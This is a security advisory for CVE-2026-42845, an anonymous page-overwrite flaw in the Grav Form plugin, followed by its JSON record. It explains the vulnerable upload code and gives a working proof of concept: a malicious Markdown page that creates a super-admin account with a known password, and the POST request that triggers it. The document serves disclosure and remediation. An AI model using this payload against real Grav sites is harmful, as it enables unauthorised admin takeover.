GHSA-W4RC-P66M-X6QQ
Vulnerability from github – Published: 2026-05-06 23:03 – Updated: 2026-05-13 14:04Summary
(Tested on Form 9.0.3 released on April, 28th)
The Form plugin's file upload handler at user/plugins/form/classes/Form.php:583 accepts a POST-supplied filename parameter ($filename = $post['filename'] ?? $upload['file']['name']) that overrides the original uploaded filename. The override passes through Utils::checkFilename(), which blocks only a narrow extension list (.php*, .htm*, .js, .exe). Markdown (.md) is not blocked.
A page's directory under user/pages/ contains its .md content file (e.g. default.md, form.md). When a form's file upload field has accept: ['*'] (or any policy that admits text files), an unauthenticated visitor can:
- Upload arbitrary content with
filename=form.md(or other page-content filenames), - Submit the form to trigger
Form::copyFiles(), which overwrites the page's own.mdfile.
Details
Vulnerable code path
user/plugins/form/classes/Form.php:580-606 (in uploadFiles()):
$grav->fireEvent('onFormUploadSettings', new Event(['settings' => &$settings, 'post' => $post]));
$upload = json_decode(json_encode($this->normalizeFiles($_FILES['data'], $settings->name)), true);
$filename = $post['filename'] ?? $upload['file']['name']; // ← POST-controlled
// ...
if (!Utils::checkFilename($filename)) { // ← extension blocklist only
return ['status' => 'error', 'message' => 'Bad filename'];
}
Utils::checkFilename() (system/src/Grav/Common/Utils.php:980) blocks .., slashes, null bytes, leading/trailing dots, and the uploads_dangerous_extensions list. The default list contains: php, php2-5, phar, phtml, html, htm, shtml, shtm, js, exe. md is not on the list.
The MIME check (lines 627-654) uses Utils::getMimeByFilename($filename) against the blueprint's accept list. With accept: ['*'], all filenames pass.
After upload, the file is held in flash storage. When the form is submitted, Form::copyFiles() (user/plugins/form/classes/Form.php:1041-1074) calls $upload->moveTo($destination):
$destination = $upload->getDestination(); // ← determined at upload time:
// $destination = $page_dir . '/' . $filename
$folder = $filesystem->dirname($destination);
if (!is_dir($folder) && !@mkdir($folder, 0777, true) && !is_dir($folder)) { ... }
$upload->moveTo($destination);
moveTo() does not check whether $destination is an existing protected file — if form.md (the page's own content) already exists at the destination, it is overwritten.
A Grav page's .md file is parsed as YAML frontmatter + Markdown content. Whatever content the attacker uploaded becomes the new page definition.
PoC
Setup :
Any existing page with a form like this — a "generic upload" form is the realistic case:
---
title: Upload your file
form:
name: upform
fields:
- {name: img, type: file, multiple: false, accept: ['*'], destination: 'self@'}
- {name: notes, type: text}
buttons:
- {type: submit, value: Upload}
process:
- upload: true
- display: thanks
---
- Atacker uploads a malicious md file that replaces the form's md file. Lets say the form is under the path
/upload.
---
title: Pwned
form:
name: pwn
fields:
- {name: dummy, type: text}
buttons:
- {type: submit, value: Submit}
process:
- save:
folder: '../accounts'
filename: 'viaup.yaml'
extension: yaml
operation: create
body: |
state: enabled
email: viaup@example.com
fullname: Via Upload
title: Admin
access:
admin: { login: true, super: true }
site: { login: true }
hashed_password: $2y$10$zGRm19Dk5ivMFZS5taMtU.O8WDUZpTqSsSg8JFs4SwOxJ/N6wl/Uq
- display: thanks
---
(Hash above is bcrypt for PwnPass123!.)
- Attacker accesses the new markdown file under the original path and loads the new markdown file
GET /upload. - Attacker sends a form POST request to
/uploadand change the form_name to whatever the payload form name is. Keep in mind the nonce has to be valid.
POST /upload HTTP/1.1
------geckoformboundary44d7ad8deb57480098493877a35ad715
Content-Disposition: form-data; name="data[_json][img]"
[]
------geckoformboundary44d7ad8deb57480098493877a35ad715
Content-Disposition: form-data; name="data[notes]"
------geckoformboundary44d7ad8deb57480098493877a35ad715
Content-Disposition: form-data; name="__form-name__"
pwn
------geckoformboundary44d7ad8deb57480098493877a35ad715
Content-Disposition: form-data; name="__unique_form_id__"
8r7q1iwdnnmcgkohlbtj
------geckoformboundary44d7ad8deb57480098493877a35ad715
Content-Disposition: form-data; name="form-nonce"
4e9417f0c7e89d1ab4e0dbe136ec78bd
------geckoformboundary44d7ad8deb57480098493877a35ad715--
- Login as a newly created super admin user.
Impact
Grav pages that allows user to uploads any file (besides the ones in the blocklist) with the default self@ configuration is able to upload a malicious markdown file to overwrite the existing markdown file. In this case, unauthenticated users were able to escalate their privileges to super-admin.
Remediation
Block sensitive page-content filenames at upload
In user/plugins/form/classes/Form.php, after Utils::checkFilename() succeeds, add a content-area-aware check:
// Block files that would overwrite Grav page content if uploaded into
// a page directory. Page templates are .md (Markdown) and .yaml/.yml
// (frontmatter overrides). Block both for safety.
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
$pageContentExtensions = ['md', 'yaml', 'yml', 'json', 'twig'];
if (in_array($ext, $pageContentExtensions, true)) {
return [
'status' => 'error',
'message' => 'File type not allowed for upload (page content files are blocked)',
];
}
Add md, yaml, yml, json, twig, ini to the global security.uploads_dangerous_extensions list — these all carry executable semantics in Grav's runtime even though they are not "PHP".
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "getgrav/grav-plugin-form"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42845"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-06T23:03:13Z",
"nvd_published_at": "2026-05-11T17:16:34Z",
"severity": "HIGH"
},
"details": "### Summary\n(Tested on Form 9.0.3 released on April, 28th)\n\nThe Form plugin\u0027s file upload handler at `user/plugins/form/classes/Form.php:583` accepts a POST-supplied `filename` parameter (`$filename = $post[\u0027filename\u0027] ?? $upload[\u0027file\u0027][\u0027name\u0027]`) that overrides the original uploaded filename. The override passes through `Utils::checkFilename()`, which blocks only a narrow extension list (`.php*`, `.htm*`, `.js`, `.exe`). Markdown (`.md`) is **not** blocked.\n\nA page\u0027s directory under `user/pages/` contains its `.md` content file (e.g. `default.md`, `form.md`). When a form\u0027s file upload field has `accept: [\u0027*\u0027]` (or any policy that admits text files), an unauthenticated visitor can:\n\n1. Upload **arbitrary content** with **`filename=form.md`** (or other page-content filenames),\n2. Submit the form to trigger `Form::copyFiles()`, which **overwrites the page\u0027s own `.md` file**.\n\n### Details\n**Vulnerable code path**\n\n`user/plugins/form/classes/Form.php:580-606` (in `uploadFiles()`):\n```php\n$grav-\u003efireEvent(\u0027onFormUploadSettings\u0027, new Event([\u0027settings\u0027 =\u003e \u0026$settings, \u0027post\u0027 =\u003e $post]));\n\n$upload = json_decode(json_encode($this-\u003enormalizeFiles($_FILES[\u0027data\u0027], $settings-\u003ename)), true);\n$filename = $post[\u0027filename\u0027] ?? $upload[\u0027file\u0027][\u0027name\u0027]; // \u2190 POST-controlled\n// ...\nif (!Utils::checkFilename($filename)) { // \u2190 extension blocklist only\n return [\u0027status\u0027 =\u003e \u0027error\u0027, \u0027message\u0027 =\u003e \u0027Bad filename\u0027];\n}\n```\n\n`Utils::checkFilename()` (`system/src/Grav/Common/Utils.php:980`) blocks `..`, slashes, null bytes, leading/trailing dots, and the `uploads_dangerous_extensions` list. The default list contains: `php, php2-5, phar, phtml, html, htm, shtml, shtm, js, exe`. **`md` is not on the list**.\n\nThe MIME check (lines 627-654) uses `Utils::getMimeByFilename($filename)` against the blueprint\u0027s `accept` list. With `accept: [\u0027*\u0027]`, all filenames pass.\n\nAfter upload, the file is held in flash storage. When the form is submitted, `Form::copyFiles()` (`user/plugins/form/classes/Form.php:1041-1074`) calls `$upload-\u003emoveTo($destination)`:\n```php\n$destination = $upload-\u003egetDestination(); // \u2190 determined at upload time:\n // $destination = $page_dir . \u0027/\u0027 . $filename\n$folder = $filesystem-\u003edirname($destination);\nif (!is_dir($folder) \u0026\u0026 !@mkdir($folder, 0777, true) \u0026\u0026 !is_dir($folder)) { ... }\n$upload-\u003emoveTo($destination);\n```\n\n`moveTo()` does not check whether `$destination` is an existing protected file \u2014 if `form.md` (the page\u0027s own content) already exists at the destination, it is **overwritten**.\n\nA Grav page\u0027s `.md` file is parsed as YAML frontmatter + Markdown content. Whatever content the attacker uploaded becomes the new page definition.\n\n### PoC\n\n**Setup** :\n\nAny existing page with a form like this \u2014 a \"generic upload\" form is the realistic case:\n```yaml\n---\ntitle: Upload your file\nform:\n name: upform\n fields:\n - {name: img, type: file, multiple: false, accept: [\u0027*\u0027], destination: \u0027self@\u0027}\n - {name: notes, type: text}\n buttons:\n - {type: submit, value: Upload}\n process:\n - upload: true\n - display: thanks\n---\n```\n1. Atacker uploads a malicious md file that replaces the form\u0027s md file. Lets say the form is under the path `/upload`.\n\n```yaml\n---\ntitle: Pwned\nform:\n name: pwn\n fields:\n - {name: dummy, type: text}\n buttons:\n - {type: submit, value: Submit}\n process:\n - save:\n folder: \u0027../accounts\u0027\n filename: \u0027viaup.yaml\u0027\n extension: yaml\n operation: create\n body: |\n state: enabled\n email: viaup@example.com\n fullname: Via Upload\n title: Admin\n access:\n admin: { login: true, super: true }\n site: { login: true }\n hashed_password: $2y$10$zGRm19Dk5ivMFZS5taMtU.O8WDUZpTqSsSg8JFs4SwOxJ/N6wl/Uq\n - display: thanks\n---\n```\n(Hash above is bcrypt for `PwnPass123!`.)\n\n2. Attacker accesses the new markdown file under the original path and loads the new markdown file `GET /upload`.\n3. Attacker sends a form POST request to `/upload` and change the form_name to whatever the payload form name is.\n Keep in mind the nonce has to be valid.\n\n```\nPOST /upload HTTP/1.1\n\n------geckoformboundary44d7ad8deb57480098493877a35ad715\nContent-Disposition: form-data; name=\"data[_json][img]\"\n\n[]\n------geckoformboundary44d7ad8deb57480098493877a35ad715\nContent-Disposition: form-data; name=\"data[notes]\"\n\n\n------geckoformboundary44d7ad8deb57480098493877a35ad715\nContent-Disposition: form-data; name=\"__form-name__\"\n\npwn\n------geckoformboundary44d7ad8deb57480098493877a35ad715\nContent-Disposition: form-data; name=\"__unique_form_id__\"\n\n8r7q1iwdnnmcgkohlbtj\n------geckoformboundary44d7ad8deb57480098493877a35ad715\nContent-Disposition: form-data; name=\"form-nonce\"\n\n4e9417f0c7e89d1ab4e0dbe136ec78bd\n------geckoformboundary44d7ad8deb57480098493877a35ad715--\n```\n\n4. Login as a newly created super admin user.\n\n### Impact\n\nGrav pages that allows user to uploads any file (besides the ones in the blocklist) with the default `self@` configuration is able to upload a malicious markdown file to overwrite the existing markdown file. In this case, unauthenticated users were able to escalate their privileges to super-admin. \n\n### Remediation\n\nBlock sensitive page-content filenames at upload\n\nIn `user/plugins/form/classes/Form.php`, after `Utils::checkFilename()` succeeds, add a content-area-aware check:\n\n```php\n// Block files that would overwrite Grav page content if uploaded into\n// a page directory. Page templates are .md (Markdown) and .yaml/.yml\n// (frontmatter overrides). Block both for safety.\n$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));\n$pageContentExtensions = [\u0027md\u0027, \u0027yaml\u0027, \u0027yml\u0027, \u0027json\u0027, \u0027twig\u0027];\nif (in_array($ext, $pageContentExtensions, true)) {\n return [\n \u0027status\u0027 =\u003e \u0027error\u0027,\n \u0027message\u0027 =\u003e \u0027File type not allowed for upload (page content files are blocked)\u0027,\n ];\n}\n```\n\nAdd `md, yaml, yml, json, twig, ini` to the global `security.uploads_dangerous_extensions` list \u2014 these all carry executable semantics in Grav\u0027s runtime even though they are not \"PHP\".",
"id": "GHSA-w4rc-p66m-x6qq",
"modified": "2026-05-13T14:04:34Z",
"published": "2026-05-06T23:03:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/security/advisories/GHSA-w4rc-p66m-x6qq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42845"
},
{
"type": "WEB",
"url": "https://github.com/getgrav/grav-plugin-form/commit/48bacc4187e1cff815000e526d5ca2878484867f"
},
{
"type": "PACKAGE",
"url": "https://github.com/getgrav/grav"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Grav Form Plugin has an Anonymous Page Content Overwrite via Form File Upload filename Override"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.